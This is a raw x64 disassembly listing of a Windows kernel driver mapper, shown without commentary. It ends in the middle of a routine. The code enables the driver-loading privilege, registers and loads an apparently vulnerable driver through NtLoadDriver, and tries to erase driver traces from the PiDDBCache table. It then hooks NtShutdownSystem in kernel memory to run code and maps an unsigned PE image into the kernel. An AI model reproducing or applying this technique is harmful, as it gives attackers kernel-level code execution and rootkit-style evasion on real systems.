mov dword [rbp + 0x238], r13d
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000a49e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a498
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9eb
call fcn.140017930
nop
mov rax, qword [rbp + 0x780]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x780], rax
mov rax, qword [rbp + 0x780]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x77c], edx
lea rcx, [rbp + 0x788]
call fcn.14000cad0
mov rax, qword [rbp + 0x780]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x780], rax
mov rax, qword [rbp + 0x780]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x77c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x828], rax
lea rcx, [rbp + 0x828]
call fcn.1400164dc
nop
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x14000a567
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a562
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9f1
call fcn.140017930
mov qword [rbp + 0x2e8], r14
mov qword [rbp + 0x2f0], 0xf
mov byte [rbp + 0x2d8], 0
btr r13d, 0xf
bts r13d, 0xe
mov rcx, qword [rbp + 0x3d0]
test rcx, rcx
je 0x14000a5dc
mov rdx, qword [rbp + 0x3e0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a5c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9f7
call fcn.140017930
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], r14
lea rcx, [rbp + 0x500]
call fcn.140010460
mov rbx, rax
lea rcx, [rbp + 0x500]
call fcn.14000cba0
mov rdi, rax
cmp byte [rbx], 0
jne 0x14000afea
lea rcx, [0x14006bb40]
call fcn.140003ac0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x458], xmm0
mov qword [rbp + 0x468], rax
lea r9, [rsp + 0x50]
lea r8, str.NtShutdownSystem
lea rdx, [0x140058cf0]
lea rcx, [rbp + 0x458]
call fcn.1400103a0
nop
lea rbx, [0x14006bb30]
mov qword [rbp + 0xab0], rbx
lea rcx, [rbp + 0xf8]
call fcn.1400059e0
nop
lea rdx, [rbp + 0x118]
mov rcx, rax
call fcn.140004ad0
nop
lea r8, [0x140052cfc]
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.140010270
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.140010270
nop
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x14000a6d8
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a6d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b9fd
call fcn.140017930
mov qword [rbp + 0x148], r14
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x14000a732
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a72d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba03
call fcn.140017930
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 8
jb 0x14000a791
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a78c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba09
call fcn.140017930
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], 7
mov word [rbp + 0xf8], r14w
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x890]
call fcn.14001ce50
lea rdx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0x10
cmovae rdx, qword [rbp + 0x2a0]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rcx, [rbp + 0x890]
call fcn.14000ba40
nop
lea rcx, [rbp + 0x458]
call fcn.14000cee0
mov rbx, rax
lea rcx, [rbp + 0x458]
call fcn.14000cef0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x890]
call fcn.14000bb50
lea rcx, [rbp + 0x898]
call fcn.14000e420
test rax, rax
jne 0x14000a856
mov rax, qword [rbp + 0x890]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x890]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
mov qword [rbp + 0x240], r14
mov qword [rbp + 0x250], r14
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], 0
mov rdx, qword [rbp + 0xab0]
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14000a880
lea rcx, [rbp + 0x240]
call fcn.140002810
nop
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 7
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x200]
call fcn.14000e970
mov qword [rbp + 0x2d0], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x2d0]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000a8f6
mov bl, 1
jmp 0x14000a98a
mov qword [rbp + 0x3c0], r14
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 8
cmovae rdx, qword [rbp + 0x200]
lea r8, [rbp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14000a92b
mov bl, 1
jmp 0x14000a98a
mov dword [rbp + 0x220], 1
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x224], rax
mov dword [rbp + 0x22c], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, 0x10
lea r8, [rbp + 0x220]
xor edx, edx
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000a97b
mov bl, 1
jmp 0x14000a98a
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x218]
cmp rdx, 8
jb 0x14000a9d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a9cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba0f
call fcn.140017930
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], r14w
test bl, bl
je 0x14000a9f5
xor bl, bl
jmp 0x14000aed3
lea rax, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0x10
cmovae rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x2c8], rax
call fcn.140015830
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea r8, [rbp + 0x2c0]
mov edx, eax
lea rcx, [rbp - 0x48]
call fcn.140004970
or r13d, 0x600000
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
bts r13d, 0x17
mov dword [rbp + 0x238], r13d
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x60]
call fcn.140005600
test eax, eax
jne 0x14000ba15
lea rdx, [rbp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.140004ad0
nop
mov r8, rax
lea rcx, [rbp + 0xd8]
call fcn.140010140
mov rbx, rax
mov qword [rbp + 0x280], r14
mov qword [rbp + 0x290], r14
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x280]
call fcn.140002810
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x280]
call fcn.14000cf90
lea rdx, [rbp + 0x280]
cmp qword [rbp + 0x298], 0x10
cmovae rdx, qword [rbp + 0x280]
lea r8, [rbp + 0x1c8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14000ab71
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x14000ab6a
inc rdx
mov rcx, qword [rbp + 0x280]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000ab65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba28
call fcn.140017930
xor bl, bl
jmp 0x14000acbf
mov byte [rbp + 0x230], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x230]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000ab29
mov byte [rbp + 0x231], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x231]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000ab29
mov byte [rbp + 0x232], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x232]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000ab29
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14000ac3e
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000ab29
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x14000acbf
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000acba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba28
call fcn.140017930
mov byte [rbp + 0x280], 0
mov qword [rbp + 0x298], 0xf
mov qword [rbp + 0x290], r14
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x14000ad19
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ad14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba2e
call fcn.140017930
mov qword [rbp + 0xe8], r14
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x14000ad73
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ad6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba34
call fcn.140017930
mov qword [rbp + 0xc8], r14
mov qword [rbp + 0xd0], 0xf
mov byte [rbp + 0xb8], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x14000adce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000adc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ba3a
call fcn.140017930
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14000ae22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ae1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b85a
call fcn.140017930
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
test bl, bl
je 0x14000aed3
mov qword [rbp + 0x380], r14
mov qword [rbp + 0x390], r14
mov qword [rbp + 0x398], 0xf
mov byte [rbp + 0x380], 0
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x380]
call fcn.1400027f0
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x380]
call fcn.14000cf90
lea rcx, [rbp + 0x380]
call fcn.140002480
mov rdx, rax
lea rcx, [rbp + 0x660]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
lea rcx, [rbp + 0x380]
call fcn.140002200
mov byte [rsp + 0x41], bl
lea r8, [rbp + 0xab0]
lea rdx, [rsp + 0x41]
lea rcx, [rbp + 0x430]
call fcn.140010340
nop
lea rcx, [rbp + 0x240]
call fcn.140002200
nop
lea rcx, [rbp + 0x890]
call fcn.140007090
nop
lea rcx, [rbp + 0x2a0]
call fcn.140002200
nop
lea rcx, [rbp + 0x458]
call fcn.14000cf00
nop
lea rcx, [rbp + 0x430]
call fcn.140010460
mov rbx, rax
lea rcx, [rbp + 0x430]
call fcn.14000cba0
mov rdi, rax
cmp byte [rbx], 0
jne 0x14000af91
mov qword [rsp + 0x48], r14
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
lea r8, [rbp - 0x28]
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x408]
call fcn.140010470
nop
lea rcx, [rbp - 0x28]
call fcn.140002200
nop
lea rcx, [rbp + 0x430]
call fcn.140002200
jmp 0x14000b035
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140076110], rax
mov r8, rdi
lea rdx, [0x140076110]
lea rcx, [rbp + 0x408]
call fcn.1400104a0
nop
lea rcx, [rbp + 0x430]
call fcn.140002200
jmp 0x14000b035
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str.._ffO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140076110], rax
mov r8, rdi
lea rdx, [0x140076110]
lea rcx, [rbp + 0x408]
call fcn.1400104a0
nop
lea rcx, [rbp + 0x500]
call fcn.140002200
nop
cmp qword [rbp + 0x408], 0
je 0x14000b7ce
cmp qword [rbp + 0x420], 0
je 0x14000b7ce
lea rcx, [rbp + 0x1f0]
call fcn.140012c40
mov eax, 0x5a4d
cmp word [0x140052ed0], ax
jne 0x14000b08b
movsxd rax, dword [0x140052f0c]
lea rcx, [0x140052ed8]
add rax, rcx
jmp 0x14000b090
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x1f0]
call fcn.140014480
test al, al
jne 0x14000b0b6
lea rcx, str.____failed_to_clear_piddbcache_table_n
call fcn.140003ac0
mov rbx, r12
mov r14d, dword [rbp - 0x70]
lea rsi, [r14 + r12]
cmp r12, rsi
jae 0x14000b3d5
movabs r13, 0x7ffffffffffffffd
nop dword [rax]
nop dword [rax + rax]
mov rdi, qword [0x1400761f0]
mov eax, dword [r15]
cmp dword [0x1400760b0], eax
jle 0x14000b137
lea rcx, [0x1400760b0]
call fcn.140017d80
cmp dword [0x1400760b0], 0xffffffff
jne 0x14000b137
lea rcx, [0x14006bb78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140076188], rax
lea rcx, [0x1400760b0]
call fcn.140017d20
mov eax, dword [r15]
cmp dword [0x14007617c], eax
jle 0x14000b180
lea rcx, [0x14007617c]
call fcn.140017d80
cmp dword [0x14007617c], 0xffffffff
jne 0x14000b180
mov edx, 2
lea rcx, [0x1400760c0]
call fcn.140016af0
lea rcx, [0x140040bf0]
call fcn.140017bac
lea rcx, [0x14007617c]
call fcn.140017d20
lea rcx, [0x1400760c0]
call fcn.140004340
mov dword [rbp - 0x68], 0x25ff
mov word [rbp - 0x64], 0
mov qword [rbp - 0x62], rdi
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp + 0x178]
call fcn.1400077e0
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp - 0x68]
call fcn.140007980
mov rax, qword [0x140076188]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp + 0x178]
call fcn.140007980
lea rcx, [0x1400760c0]
call fcn.140016b28
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x1f0]
call fcn.140013440
test al, al
jne 0x14000b22b
xor eax, eax
mov qword [rbp + 0x1f8], rax
jmp 0x14000b232
mov rax, qword [rbp + 0x1f8]
test al, al
jns 0x14000b250
and rax, r13
or rax, 2
mov qword [rbp + 0x1f8], rax
lea r8, [rbp + 0x1f8]
jmp 0x14000b3b0
mov rdi, qword [0x1400761b8]
mov eax, dword [r15]
cmp dword [0x1400760b0], eax
jle 0x14000b2a7
lea rcx, [0x1400760b0]
call fcn.140017d80
cmp dword [0x1400760b0], 0xffffffff
jne 0x14000b2a7
lea rcx, [0x14006bb78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140076188], rax
lea rcx, [0x1400760b0]
call fcn.140017d20
mov eax, dword [r15]
cmp dword [0x14007617c], eax
jle 0x14000b2f0
lea rcx, [0x14007617c]
call fcn.140017d80
cmp dword [0x14007617c], 0xffffffff
jne 0x14000b2f0
mov edx, 2
lea rcx, [0x1400760c0]
call fcn.140016af0
lea rcx, [0x140040bf0]
call fcn.140017bac
lea rcx, [0x14007617c]
call fcn.140017d20
lea rcx, [0x1400760c0]
call fcn.140004340
mov dword [rbp - 0x58], 0x25ff
mov word [rbp - 0x54], 0
mov qword [rbp - 0x52], rdi
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp + 0x330]
call fcn.1400077e0
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp - 0x58]
call fcn.140007980
mov rax, qword [0x140076188]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp + 0x330]
call fcn.140007980
lea rcx, [0x1400760c0]
call fcn.140016b28
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x1f0]
call fcn.140013440
test al, al
jne 0x14000b394
xor eax, eax
jmp 0x14000b39b
mov rax, qword [rbp + 0x238]
and rax, r13
or rax, 2
mov qword [rbp + 0x238], rax
lea r8, [rbp + 0x238]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp + 0x1f0]
call fcn.140013b50
add rbx, 0x1000
cmp rbx, rsi
jb 0x14000b0e0
mov r9d, 4
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r13, qword [rsp + 0x58]
mov r8d, dword [r13 + 0x54]
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.14001c780
movzx ebx, word [r13 + 0x14]
add rbx, 0x28
xor eax, eax
mov edi, eax
cmp ax, word [r13 + 6]
jae 0x14000b447
add rbx, r13
mov r14, qword [rbp - 0x80]
nop
mov ecx, dword [rbx - 4]
add rcx, rsi
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, r14
call fcn.14001c780
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x14000b420
mov r14d, dword [rbp - 0x70]
mov rbx, r12
sub rbx, qword [r13 + 0x30]
mov rdx, rsi
lea rcx, [rbp + 0x188]
call fcn.140001da0
mov rdx, rbx
mov rcx, rax
call fcn.140001930
mov rdx, rsi
lea rcx, [rbp + 0x240]
call fcn.140001ec0
mov rcx, rax
call fcn.140001a30
test al, al
jne 0x14000b4d1
lea rcx, str.____failed_to_resolve_imports_n
call fcn.140003ac0
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x4e0]
call fcn.1400024d0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14000b4c4
mov rcx, rbx
call fcn.140007130
nop
mov rcx, rbx
call fcn.140002200
jmp 0x14000b7da
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, rsi
call fcn.14001ce50
mov r9, r14
mov r8, rsi
mov rdx, r12
lea rcx, [rbp + 0x1f0]
call fcn.140013b50
mov ebx, dword [r13 + 0x28]
add rbx, r12
mov edi, dword [r13 + 0x50]
mov eax, dword [r15]
cmp dword [0x1400761d8], eax
jle 0x14000b54f
lea rcx, [0x1400761d8]
call fcn.140017d80
cmp dword [0x1400761d8], 0xffffffff
jne 0x14000b54f
lea rcx, [0x14006bb78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400761f8], rax
lea rcx, [0x1400761d8]
call fcn.140017d20
mov eax, dword [r15]
cmp dword [0x1400761d0], eax
jle 0x14000b598
lea rcx, [0x1400761d0]
call fcn.140017d80
cmp dword [0x1400761d0], 0xffffffff
jne 0x14000b598
mov edx, 2
lea rcx, [0x140076200]
call fcn.140016af0
lea rcx, [0x140040be0]
call fcn.140017bac
lea rcx, [0x1400761d0]
call fcn.140017d20
lea rcx, [0x140076200]
call fcn.140004340
mov dword [rbp - 0x80], 0x25ff
mov word [rbp - 0x7c], 0
mov qword [rbp - 0x7a], rbx
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp + 0x2c0]
call fcn.1400077e0
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp - 0x80]
call fcn.140007980
mov rdx, rdi
mov rcx, r12
call qword [0x1400761f8]
mov rcx, qword [0x140076118]
mov r8d, 0xe
lea rdx, [rbp + 0x2c0]
call fcn.140007980
lea rcx, [0x140076200]
call fcn.140016b28
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x1a0]
call fcn.1400024d0
mov rbx, rax
mov qword [rsp + 0x58], rax
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14000b652
mov rcx, rbx
call fcn.140007130
test al, al
je 0x14000b652
mov dil, 1
jmp 0x14000b655
xor dil, dil
mov rcx, rbx
call fcn.140002200
test dil, dil
jne 0x14000b66e
lea rcx, str.___
jmp 0x14000b7d5
xor r14d, r14d
mov edi, r14d
mov dword [rbp + 0x1f8], r14d
lea r9, [rbp + 0x1f8]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000b6ef
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1f8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rbp + 0x1f8]
mov r8d, dword [rbp + 0x1f8]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000b6a0
test eax, eax
js 0x14000b755
mov ebx, r14d
cmp dword [rdi], r14d
jbe 0x14000b755
nop dword [rax + rax]
mov esi, ebx
imul rcx, rsi, 0x128
movzx eax, word [rdi + rcx + 0x2e]
add rax, rdi
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp + 0x4e0]
call fcn.140002490
lea rcx, [rbp + 0x4e0]
call fcn.140002480
mov rcx, rax
lea rdx, [0x14006bb30]
call fcn.140020974
test eax, eax
je 0x14000b777
lea rcx, [rbp + 0x4e0]
call fcn.140002200
inc ebx
cmp ebx, dword [rdi]
jb 0x14000b700
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [0x14006bec0]
call fcn.140003ac0
mov esi, r14d
jmp 0x14000b7eb
imul rax, rsi, 0x128
mov rbx, qword [rax + rdi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x4e0]
call fcn.140002200
test rbx, rbx
je 0x14000b766
lea rcx, [0x14006be98]
call fcn.140003ac0
lea rcx, str.PAUSE
call fcn.140023d34
lea rcx, [0x14006bec0]
call fcn.140003ac0
mov esi, r14d
jmp 0x14000b7eb
lea rcx, [0x14006be00]
call fcn.140003ac0
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x1c8], rbx
mov rsi, rbx
lea rcx, [rbp + 0x408]
call fcn.140007780
jmp 0x1400097b2
lea rcx, str.____failed_to_sig_scan_pte_functions_n
mov r15, 0xffffffffffffffff
jmp 0x1400097a3
lea rcx, [0x14006bbd8]
call fcn.140003ac0
lea rcx, str.PAUSE
call fcn.140023d34
mov eax, r13d
mov rcx, qword [rbp + 0xbd0]
xor rcx, rsp
call fcn.140017910
lea r11, [rsp + 0xce0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140020c78
nop
lea rcx, [rbp + 0x3e8]
call fcn.140003cd0
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x430]
call fcn.1400047b0
lea rdx, [0x140071cd8]
lea rcx, [rbp + 0x430]
call fcn.14001c6b0
nop
lea rcx, [rbp + 0x3e8]
call fcn.140003cd0
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x430]
call fcn.1400047b0
lea rdx, [0x140071cd8]
lea rcx, [rbp + 0x430]
call fcn.14001c6b0
int3
lea rcx, [rbp + 0x3e8]
call fcn.140003cd0
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x430]
call fcn.1400047b0
lea rdx, [0x140071cd8]
lea rcx, [rbp + 0x430]
call fcn.14001c6b0
nop
call fcn.140020c78
int3
call fcn.140020c78
int3
call fcn.140020c78
nop
lea r8, [rbp + 0x2a0]
mov edx, eax
lea rcx, str.remove
call fcn.140005530
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
lea r8, [rbp + 0x2a0]
mov edx, eax
lea rcx, str.remove
call fcn.140005530
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
int3
call fcn.140020c78
nop
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, str.absolute
call fcn.140005530
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
int3
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
lea r8, [rbp + 0x18]
mov edx, eax
